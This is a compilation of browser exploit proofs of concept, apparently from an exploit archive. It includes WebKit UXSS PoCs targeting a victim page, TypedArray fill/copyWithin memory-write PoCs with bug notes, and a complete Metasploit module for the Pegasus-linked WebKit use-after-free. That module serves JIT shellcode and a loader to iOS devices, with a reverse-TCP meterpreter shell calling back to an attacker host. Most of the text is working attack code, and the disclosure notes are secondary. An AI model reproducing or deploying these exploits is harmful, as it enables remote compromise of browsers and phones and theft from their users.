</scr` + "ipt>"], {type: "text/html"})));
}
}
onclick = _ => {
frame = document.body.appendChild(document.createElement("iframe"));
frame.contentWindow.location = `javascript:'<b><p><iframe`
+ ` onload="top.run(event)"></iframe></b></p>'`;
}
cache_frame = document.body.appendChild(document.createElement("iframe"));
cache_frame.src = "http://example.com/"; // victim page URL
cache_frame.style.display = "none";
</script>
</body>
I'd recommend you consider applying a fix similar to the one that the Blink team has in
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/html/html_frame_element_base.cc?rcl=d3f22423d512b45466f1694020e20da9e0c6ee6a&l=62,
i.e. using the frame's owner document as a fallback for the security check.
<!--
There is a bug in TypedArray.fill that can be used to write to an absolute pointer.
In JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h, the function genericTypedArrayViewProtoFuncFill contains the following code:
unsigned length = thisObject->length();
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 1, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 2, length, length);
if (end < begin)
return JSValue::encode(exec->thisValue());
if (!thisObject->setRangeToValue(exec, begin, end, valueToInsert))
return JSValue::encode(jsUndefined());
argumentClampedIndexFromStartOrEnd will call valueOf on a parameter to the fill function, which can contain a function that neuters the this array, causing the pointer used by setRangeToValue to be null. However, the begin and end variables can be very large values, up to 0x7fffffff, which could be valid pointers on ARM and 32-bit platforms. This allows an absolute pointer in this range to be written to.
An HTML file demonstrating this issue is attached. This issue affects Safari Technology Preview and WebKit, but has not made it into production Safari yet (TypedArray.fill is not supported).
Note that there are three places that code can be excuted after the neutered check in this function, the begin and end parameter, and the value, which is converted in setRangeToValue. To fix this issue, a check needs to be performed after the value has been converted.
-->
<html>
<body>
<script>
function f(){
try{
alert("t");
postMessage("test", "http://127.0.0.1", [q])
alert(a.byteLength);
alert(q.byteLength);
} catch(e){
alert(e.message);
alert(a.byteLength)
alert(q.byteLength);
}
return 0x12345678;
}
alert(Date);
var q = new ArrayBuffer(0x7fffffff);
var o = {valueOf : f}
var a = new Uint8Array(q);
// alert(q.byteLength);
var t = [];
try{
a.fill(0x12, o, 0x77777777);
} catch(e){
alert(e.message);
}
</script>
</body>
</html>
<!--
There is a bug in TypedArray.copyWithin that can be used to write to an absolute pointer.
In JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h, the function genericTypedArrayViewProtoFuncCopyWithin contains the following code:
long length = thisObject->length();
long to = argumentClampedIndexFromStartOrEnd(exec, 0, length);
long from = argumentClampedIndexFromStartOrEnd(exec, 1, length);
long final = argumentClampedIndexFromStartOrEnd(exec, 2, length, length);
if (final < from)
return JSValue::encode(exec->thisValue());
long count = std::min(length - std::max(to, from), final - from);
typename ViewClass::ElementType* array = thisObject->typedVector();
memmove(array + to, array + from, count * thisObject->elementSize);
argumentClampedIndexFromStartOrEnd will call valueOf on a parameter to the copyWithin function, which can contain a function that neuters the this array, causing the variable "array" to be null. However, the "to" and "from" variables can be very large values, up to 0x7fffffff, which could be valid pointers on ARM and 32-bit platforms. This allows an absolute pointer in this range to be written to.
An HTML file demonstrating this issue is attached. This issue affects Safari Technology Preview and WebKit, but has not made it into production Safari yet (TypedArray.copyWithin is not supported).
-->
<html>
<body>
<script>
function f(){
try{
alert("t");
postMessage("test", "http://127.0.0.1", [q])
alert(a.byteLength);
alert(q.byteLength);
} catch(e){
alert(e.message);
alert(a.byteLength)
alert(q.byteLength);
}
return 0x22345678;
}
alert(Date);
var q = new ArrayBuffer(0x7fffffff);
var o = {valueOf : f}
var a = new Uint8Array(q);
// alert(q.byteLength);
var t = [];
a.copyWithin(0x12345678, o, 0x32345678);
</script>
</body>
</html>
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'WebKit not_number defineProperties UAF',
'Description' => %q{
This module exploits a UAF vulnerability in WebKit's JavaScriptCore library.
},
'License' => MSF_LICENSE,
'Author' => [
'qwertyoruiop', # jbme.qwertyoruiop.com
'siguza', # PhoenixNonce
'tihmstar', # PhoenixNonce
'timwr', # metasploit integration
],
'References' => [
['CVE', '2016-4655'],
['CVE', '2016-4656'],
['CVE', '2016-4657'],
['BID', '92651'],
['BID', '92652'],
['BID', '92653'],
['URL', 'https://blog.lookout.com/trident-pegasus'],
['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'],
['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'],
['URL', 'https://github.com/Siguza/PhoenixNonce'],
['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'],
['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'],
],
'Arch' => ARCH_AARCH64,
'Platform' => 'apple_ios',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
'Targets' => [[ 'Automatic', {} ]],
'DisclosureDate' => 'Aug 25 2016'))
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
])
end
def on_request_uri(cli, request)
print_status("Request from #{request['User-Agent']}")
if request.uri =~ %r{/loader$}
print_good("Target is vulnerable.")
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" )
loader_data = File.read(local_file, {:mode => 'rb'})
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
return
elsif request.uri =~ %r{/exploit$}
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" )
loader_data = File.read(local_file, {:mode => 'rb'})
payload_url = "tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
payload_url_index = loader_data.index('PAYLOAD_URL')
loader_data[payload_url_index, payload_url.length] = payload_url
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
print_status("Sent exploit (#{loader_data.size} bytes)")
return
end
html = %Q^
<html>
<body>
<script>
function load_binary_resource(url) {
var req = new XMLHttpRequest();
req.open('GET', url, false);
req.overrideMimeType('text/plain; charset=x-user-defined');
req.send(null);
return req.responseText;
}
var mem0 = 0;
var mem1 = 0;
var mem2 = 0;
function read4(addr) {
mem0[4] = addr;
var ret = mem2[0];
mem0[4] = mem1;
return ret;
}
function write4(addr, val) {
mem0[4] = addr;
mem2[0] = val;
mem0[4] = mem1;
}
filestream = load_binary_resource("exploit")
var shll = new Uint32Array(filestream.length / 4);
for (var i = 0; i < filestream.length;) {
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
shll[i / 4] = word;
i += 4;
}
_dview = null;
function u2d(low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
}
var pressure = new Array(100);
var bufs = new Array(10000);
dgc = function() {
for (var i = 0; i < pressure.length; i++) {
pressure[i] = new Uint32Array(0x10000);
}
for (var i = 0; i < pressure.length; i++) {
pressure[i] = 0;
}
}
function swag() {
if (bufs[0]) return;
for (var i = 0; i < 4; i++) {
dgc();
}
for (i = 0; i < bufs.length; i++) {
bufs[i] = new Uint32Array(0x100 * 2)
for (k = 0; k < bufs[i].length;) {
bufs[i][k++] = 0x41414141;
bufs[i][k++] = 0xffff0000;
}
}
}
var trycatch = "";
for (var z = 0; z < 0x2000; z++) trycatch += "try{} catch(e){}; ";
var fc = new Function(trycatch);
var fcp = 0;
var smsh = new Uint32Array(0x10)
function smashed(stl) {
document.body.innerHTML = "";
var jitf = (smsh[(0x10 + smsh[(0x10 + smsh[(fcp + 0x18) / 4]) / 4]) / 4]);
write4(jitf, 0xd28024d0); //movz x16, 0x126
write4(jitf + 4, 0x58000060); //ldr x0, 0x100007ee4
write4(jitf + 8, 0xd4001001); //svc 80
write4(jitf + 12, 0xd65f03c0); //ret
write4(jitf + 16, jitf + 0x20);
write4(jitf + 20, 1);
fc();
var dyncache = read4(jitf + 0x20);
var dyncachev = read4(jitf + 0x20);
var go = 1;
while (go) {
if (read4(dyncache) == 0xfeedfacf) {
for (i = 0; i < 0x1000 / 4; i++) {
if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever
{
go = 0;
break;
}
}
}
dyncache += 0x1000;
}
dyncache -= 0x1000;
var bss = [];
var bss_size = [];
for (i = 0; i < 0x1000 / 4; i++) {
if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {
bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000);
bss_size.push(read4(dyncache + i * 4 + (0x28)));
}
}
var shc = jitf;
var filestream = load_binary_resource("loader")
for (var i = 0; i < filestream.length;) {
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
write4(shc, word);
shc += 4;
i += 4;
}
jitf &= ~0x3FFF;
jitf += 0x8000;
write4(shc, jitf);
write4(shc + 4, 1);
// copy macho
for (var i = 0; i < shll.length; i++) {
write4(jitf + i * 4, shll[i]);
}
for (var i = 0; i < bss.length; i++) {
for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) {
write4(bss[i] + k * 4, 0);
}
}
fc();
}
function go_() {
if (smsh.length != 0x10) {
smashed();
return;
}
dgc();
var arr = new Array(0x100);
var yolo = new ArrayBuffer(0x1000);
arr[0] = yolo;
arr[1] = 0x13371337;
var not_number = {};
not_number.toString = function() {
arr = null;
props["stale"]["value"] = null;
swag();
return 10;
};
var props = {
p0: {
value: 0
},
p1: {
value: 1
},
p2: {
value: 2
},
p3: {
value: 3
},
p4: {
value: 4
},
p5: {
value: 5
},
p6: {
value: 6
},
p7: {
value: 7
},
p8: {
value: 8
},
length: {
value: not_number
},
stale: {
value: arr
},
after: {
value: 666
}
};
var target = [];
var stale = 0;
Object.defineProperties(target, props);
stale = target.stale;
stale[0] += 0x101;
stale[1] = {}
for (var z = 0; z < 0x1000; z++) fc();
for (i = 0; i < bufs.length; i++) {
for (k = 0; k < bufs[0].length; k++) {
if (bufs[i][k] == 0x41414242) {
stale[0] = fc;
fcp = bufs[i][k];
stale[0] = {
'a': u2d(105, 0),
'b': u2d(0, 0),
'c': smsh,
'd': u2d(0x100, 0)
}
stale[1] = stale[0]
bufs[i][k] += 0x10; // misalign so we end up in JSObject's properties, which have a crafted Uint32Array pointing to smsh
bck = stale[0][4];
stale[0][4] = 0; // address, low 32 bits
// stale[0][5] = 1; // address, high 32 bits == 0x100000000
stale[0][6] = 0xffffffff;
mem0 = stale[0];
mem1 = bck;
mem2 = smsh;
bufs.push(stale)
if (smsh.length != 0x10) {
smashed(stale[0]);
}
return;
}
}
}
setTimeout(function() {
document.location.reload();
}, 2000);
}
dgc();
setTimeout(go_, 200);
</script>
</body>
</html>
^
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1176
When a document loads "about:blank" or "about:srcdoc", it tries to inherit the security origin from its parent frame, or its opener frame if the parent frame doesn't exist. Normally, it doesn't happen that a subframe's document inherits its opener frame's security origin, because it has the parent frame. And it shouldn't happen at all. However, when the subframe is cached, only the parent frame is detached but not the opener frame. So, inheriting the opener frame's security origin could happen in that case.
void Document::initSecurityContext()
{
...
if (!shouldInheritSecurityOriginFromOwner(m_url)) <<----- check m_url is about:blank or about:srcdoc.
return;
// If we do not obtain a meaningful origin from the URL, then we try to
// find one via the frame hierarchy.
Frame* parentFrame = m_frame->tree().parent();
Frame* openerFrame = m_frame->loader().opener();
Frame* ownerFrame = parentFrame;
if (!ownerFrame)
ownerFrame = openerFrame;
if (!ownerFrame) {
didFailToInitializeSecurityOrigin();
return;
}
...
setCookieURL(ownerFrame->document()->cookieURL());
// We alias the SecurityOrigins to match Firefox, see Bug 15313
// https://bugs.webkit.org/show_bug.cgi?id=15313
setSecurityOriginPolicy(ownerFrame->document()->securityOriginPolicy());
...
}
PoC:
-->
<body>
Click anywhere.
<script>
window.onclick = () => {
window.onclick = null;
let w = open('about:blank', '', 'width=500, height=500');
w.eval(`
let f = document.body.appendChild(document.createElement('iframe'));
f.contentWindow.name = 'zzz';
opener.open('about:blank', 'zzz');
function navigate(w, url, cb = null) {
w.__check = true;
let a = w.document.createElement('a');
a.href = url;
a.click();
if (!cb)
return;
let it = setInterval(() => {
let navigated = false;
try {
if (!w.__check)
navigated = true;
} catch (e) {
navigated = true;
}
if (navigated) {
clearInterval(it);
cb();
}
}, 10);
}
navigate(opener, 'https://abc.xyz/', () => {
f.srcdoc = '<script>opener.alert(opener.location);</scrip' + 't>';
f.contentWindow.onbeforeunload = () => {
f.contentWindow.onbeforeunload = null;
navigate(window, 'about:blank');
};
navigate(f.contentWindow, 'about:srcdoc');
});`);
}
</script>
</body>